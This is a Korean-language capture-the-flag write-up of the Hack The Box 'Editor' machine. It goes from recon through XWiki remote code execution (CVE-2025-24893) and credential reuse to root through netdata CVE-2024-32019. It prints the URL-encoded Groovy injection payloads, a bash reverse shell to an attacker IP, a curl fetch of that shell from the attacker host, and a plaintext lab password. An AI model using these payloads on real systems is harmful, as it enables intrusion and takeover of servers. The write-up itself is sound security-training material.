linux-box

HTB : https://app.hackthebox.com/machines/Editor?sort_by=created_at&sort_type=desc

Write up

https://github.com/jdh5772/Practice_Cyber_Security/blob/main/HackTheBox/Editor.md https://0xdf.gitlab.io/2025/12/06/htb-editor.html

Machine IP :

Recon

nmap

전체 포트 스캔 결과, 22번 80번 8080번 포트 열려있음

┌──(root㉿kali)-[/home/kali/htb/editor/recon]
└─# nmap -Pn --open -p- -n --min-rate 2000 --max-retries 2 10.129.247.3 -oA tcpAll
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-16 16:16 KST
Nmap scan report for 10.129.247.3
Host is up (0.25s latency).
Not shown: 63279 closed tcp ports (reset), 2253 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 49.92 seconds

22,80,8080 포트 대상으로 서비스 버전 및 기본 스크립트 진단을 수행해 초기 공격 벡터 확보

┌──(root㉿kali)-[/home/kali/htb/editor/recon]
└─# nmap -Pn --open -p22,80,8080 -sV -sC --min-rate 2000 --max-retries 2 10.129.247.3 -oA tcpDetail
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-16 16:23 KST
Nmap scan report for 10.129.247.3
Host is up (0.45s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-webdav-scan: 
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|   Server Type: Jetty(10.0.20)
|_  WebDAV type: Unknown
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.247.3:8080/xwiki/bin/view/Main/
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.78 seconds

스캐닝 결과, 80포트 접속 시 http://editor.htb 주소로 리다이렉트되는 것을 파악함 /etc/hosts 파일에 domain 추가

echo '10.129.247.3 editor.htb' | tee -a /etc/hosts

http://editor.htb 접속 결과, 단순한 editor 소개 사이트임 우측 상단의 Docs 페이지 접속하면 http://wiki.editor.htb/xwiki 서브도메인이 존재함

해당 도메인도 /etc/hosts 파일에 추가하겠음

echo '10.129.247.3 wiki.editor.htb' | tee -a /etc/hosts

재접속 결과, XWIKI 설치 페이지로 추측됨 그리고 8080 포트 스캐닝 했을 때 발견한 http://10.129.247.3:8080/xwiki/bin/view/Main/ 경로와 동일함

8080/tcp open  http    Jetty 10.0.20
| http-webdav-scan: 
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|   Server Type: Jetty(10.0.20)
|_  WebDAV type: Unknown
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.247.3:8080/xwiki/bin/view/Main/
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/

xwiki main 페이지 하단의 information 탭에서 XWiki 2.1 버전과 로그인 페이지에서 XWiki debian 15.10.8 버전인 것을 파악함 해당 머신이 정확히 어떤 버전인지 가늠하기 어려워 두 버전의 CVE를 조사해야함 robots.txt 접근 시, 접근 금지인 하위디렉토리 목록 발견

Disallow: /xwiki/bin/viewattachrev/
Disallow: /xwiki/bin/viewrev/
Disallow: /xwiki/bin/pdf/
Disallow: /xwiki/bin/edit/
Disallow: /xwiki/bin/create/
Disallow: /xwiki/bin/inline/
Disallow: /xwiki/bin/preview/
Disallow: /xwiki/bin/save/
Disallow: /xwiki/bin/saveandcontinue/
Disallow: /xwiki/bin/rollback/
Disallow: /xwiki/bin/deleteversions/
Disallow: /xwiki/bin/cancel/
Disallow: /xwiki/bin/delete/
Disallow: /xwiki/bin/deletespace/
Disallow: /xwiki/bin/undelete/
Disallow: /xwiki/bin/reset/
Disallow: /xwiki/bin/register/
Disallow: /xwiki/bin/propupdate/
Disallow: /xwiki/bin/propadd/
Disallow: /xwiki/bin/propdisable/
Disallow: /xwiki/bin/propenable/
Disallow: /xwiki/bin/propdelete/
Disallow: /xwiki/bin/objectadd/
Disallow: /xwiki/bin/commentadd/
Disallow: /xwiki/bin/commentsave/
Disallow: /xwiki/bin/objectsync/
Disallow: /xwiki/bin/objectremove/
Disallow: /xwiki/bin/attach/
Disallow: /xwiki/bin/upload/
Disallow: /xwiki/bin/temp/
Disallow: /xwiki/bin/downloadrev/
Disallow: /xwiki/bin/dot/
Disallow: /xwiki/bin/delattachment/
Disallow: /xwiki/bin/skin/
Disallow: /xwiki/bin/jsx/
Disallow: /xwiki/bin/ssx/
Disallow: /xwiki/bin/login/
Disallow: /xwiki/bin/loginsubmit/
Disallow: /xwiki/bin/loginerror/
Disallow: /xwiki/bin/logout/
Disallow: /xwiki/bin/lock/
Disallow: /xwiki/bin/redirect/
Disallow: /xwiki/bin/admin/
Disallow: /xwiki/bin/export/
Disallow: /xwiki/bin/import/
Disallow: /xwiki/bin/get/
Disallow: /xwiki/bin/distribution/
Disallow: /xwiki/bin/jcaptcha/
Disallow: /xwiki/bin/unknown/
Disallow: /xwiki/bin/webjars/

Foothold

CVE-2025-24893

XWiki 2.1 버전에 RCE 취약점(CVE-2024-55879)이 존재하고 XWiki debian 15.10.8 버전은 CVE-2025-24893이 존재함. CVE-2024-58579는 Xwiki 페이지의 계정이 있어야 익스플로잇이 가능함

CVE-2025-24893은 로그인하지 않은 상태에서 RCE가 가능함

XWiki의 디폴트 계정 Admin/admin이 실패했기 때문에 CVE-2025-24893 익스플로잇을 참고함

버프스위트의 리피터에서 익스플로잇 시도. CVE-2025-24893은 로그인없이 사용 가능함. http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20

text 파라미터에 삽입한 악성 스크립트가 실행되어 23+19가 계산되어 응답 페이지에 search text: 42가 출력됨

  • text 파라미터 스크립트 디코딩 결과 }}}{{async async=false}}{{groovy}}println("Hello from" + " search text:" + (23 + 19)){{/groovy}}{{/async}}

/etc/passwd 실행 결과 출력하는 스크립트 삽입. 익스플로잇 시 execute().text함수를 꼭 사용해야 함

  • text 파라미터 스크립트 디코딩 결과 }}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

리버스 쉘을 연결할 bash 파일을 만듬

┌──(root㉿kali)-[/home/kali/htb/editor/priv]
└─# cat rev_sh 
bash -i >& /dev/tcp/10.10.14.167/4444 0>&1

리버스 쉘을 칼리 리눅스에서 다운로드하는 페이로드임 }}}{{async async=false}}{{groovy}}println("curl http://10.10.14.167:8000/rev_sh -o /tmp/rev_sh".execute().text){{/groovy}}{{/async}}

페이로드를 URL 인코딩 해 버프 리피터에서 익스플로잇 시도 http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%66%61%6c%73%65%7d%7d%7b%7b%67%72%6f%6f%76%79%7d%7d%70%72%69%6e%74%6c%6e%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%31%36%37%3a%38%30%30%30%2f%72%65%76%5f%73%68%20%2d%6f%20%2f%74%6d%70%2f%72%65%76%5f%73%68%22%2e%65%78%65%63%75%74%65%28%29%2e%74%65%78%74%29%7b%7b%2f%67%72%6f%6f%76%79%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d

파일 다운로드 성공

/tmp 경로에 다운로드한 리버스 쉘을 실행하는 페이로드임 }}}{{async async=false}}{{groovy}}println("bash -i /tmp/rev_sh".execute().text){{/groovy}}{{/async}}

페이로드를 URL 인코딩 후, 버프 리피터에서 익스플로잇 시도 http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%66%61%6c%73%65%7d%7d%7b%7b%67%72%6f%6f%76%79%7d%7d%70%72%69%6e%74%6c%6e%28%22%62%61%73%68%20%2d%69%20%2f%74%6d%70%2f%72%65%76%5f%73%68%22%2e%65%78%65%63%75%74%65%28%29%2e%74%65%78%74%29%7b%7b%2f%67%72%6f%6f%76%79%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d

리버스 쉘이 연결되어 초기침투 성공, 현재 권한은 xwiki 권한임

/home 디렉터리에는 oliver 계정 디렉터리가 존재하나 권한이 없어 접근 실패함 결국 oliver 권한을 획득해야만 user.txt 플래그를 획득할 수 있음

pspy64 실행해 크론을 확인했으나 xwiki 권한 외에 다른 권한으로 실행중인 프로세스가 없음

SUID, sudo -l, cron에서 권한상승 가능한 정보는 발견하지 못함 구글링을 통해 xwiki 설정 파일은 /etc/xwiki 에 저장됨을 발견 https://www.xwiki.org/xwiki/bin/view/ReleaseNotes/Data/XWiki/9.3RC1/Change010/

/etc/xwiki 디렉터리에 web.xml, hibernate.cfg.xml 등 설정 파일이 존재함

hibernate.cfg.xml 파일에서 xwiki/theEd1t0rTeam99 와 xwiki/xwiki 크리덴셜 발견

netstat 결과, mysql 서비스가 동작중임

hibernate.cfg.xml 파일 설정에는 mysql, mariadb, oracle 등 여러 DB와 커넥션하는크리덴셜이 존재하나 현재 mysql 서비스가 실행중이기 때문에 mysql 접속 크리덴셜 (xwiki/theEd1t0rTeam99)을 사용할 것으로 추측됨

Lateral Movement

nmap 포트스캐닝 했을 때 22번 포트가 오픈되어있었음 xwiki/theEd1t0rTeam99 SSH 접속 실패

oliver/theEd1t0rTeam99 크리덴셜로 SSH 접속 성공 및 user 플래그 획득

┌──(root㉿kali)-[/home/kali/htb/editor/recon]                                                          
└─# ssh oliver@10.129.245.124                                                                          
oliver@10.129.245.124's password:                                                                      
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)                                    
                                                                                                       
 * Documentation:  https://help.ubuntu.com                                                             
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue Feb 17 03:23:55 PM UTC 2026

  System load:  0.39              Processes:             230
  Usage of /:   64.5% of 7.28GB   Users logged in:       0
  Memory usage: 53%               IPv4 address for eth0: 10.129.245.124
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

Privilege Escalation

ss -tnlp 실행해 확인 결과, 19999 포트 발견. 19999 포트는 netdata라는 모니터링 에이전트가 사용하는 포트임

19999 포트의 netdata는 nmap 스캔 결과에서 확인했듯이 외부에 열린 포트가 아님. 즉, 로컬에서만 동작하고 외부에서는 접근할 수 없다고 추측 가능함 netdata의 버전을 알아야 CVE가 존재하는지 파악 가능하지만 버전을 알아내려면 로컬 포트 포워딩으로 피벗팅 해 19999 포트에 접속해 관리자 콘솔에 접속하는 방법과 /opt/netdata/bin/netdata -version 명령어를 실행해서 알아내는 2가지 방법이 있음

Local Port Fowarding

ssh -L 127.0.0.1:19999:127.0.0.1:19999 oliver@10.129.244.249 명령어로 SSH 로컬 포트 포워딩 시도

127.0.0.1:19999 포트 접속 결과, 로컬에서만 동작하는 netdata 관리자 콘솔 UI 접속 성공

editor 서버에서 동작 중인 agent는 1.45.2 버전인 것을 파악했으며, 1.45.2 버전은 CVE-2024-32019 로컬 권한 상승 취약점이 존재함

/opt/netdata/bin/netdata -version

https://github.com/netdata/binary-packages/issues/2 이슈에서 netdata 제품의 버전을 확인하는 방법을 찾음. /opt/netdata/bin/netdata -version 그리고 netdata -W buildinfo 방법도 가능함

netdata 1.45.2 버전 사용하며 이 버전은 로컬 권한 상승 CVE가 존재함 https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

CVE-2024-32019

구글링 결과, CVE-2024-32019 PoC가 존재함 https://github.com/AliElKhatteb/CVE-2024-32019-POC.git

ARM64 칼리 리눅스에서는 크로스 컴파일을 위해 아래 종속성을 먼저 설치해야 함

sudo apt update
sudo apt install -y gcc-x86-64-linux-gnu g++-x86-64-linux-gnu

컴파일 성공

┌──(root㉿kali)-[/home/…/htb/editor/priv/CVE-2024-32019-POC]                             
└─# x86_64-linux-gnu-gcc -o nvme exploit.c -static                                      
                                                                        
┌──(root㉿kali)-[/home/…/htb/editor/priv/CVE-2024-32019-POC]                            
└─# ls
exploit.c  nvme  README.md

칼리에서 파이썬 서버를 실행한 뒤, wget으로 nvme 파일을 다운로드 함

환경변수 설정 결과, 익스플로잇에 성공하였으나 칼리 리눅스에서 9001 포트를 열어놓지 않아 권한 상승은 실패.

root.txt

9001 포트를 열어 재시도 결과, 루트 권한을 획득함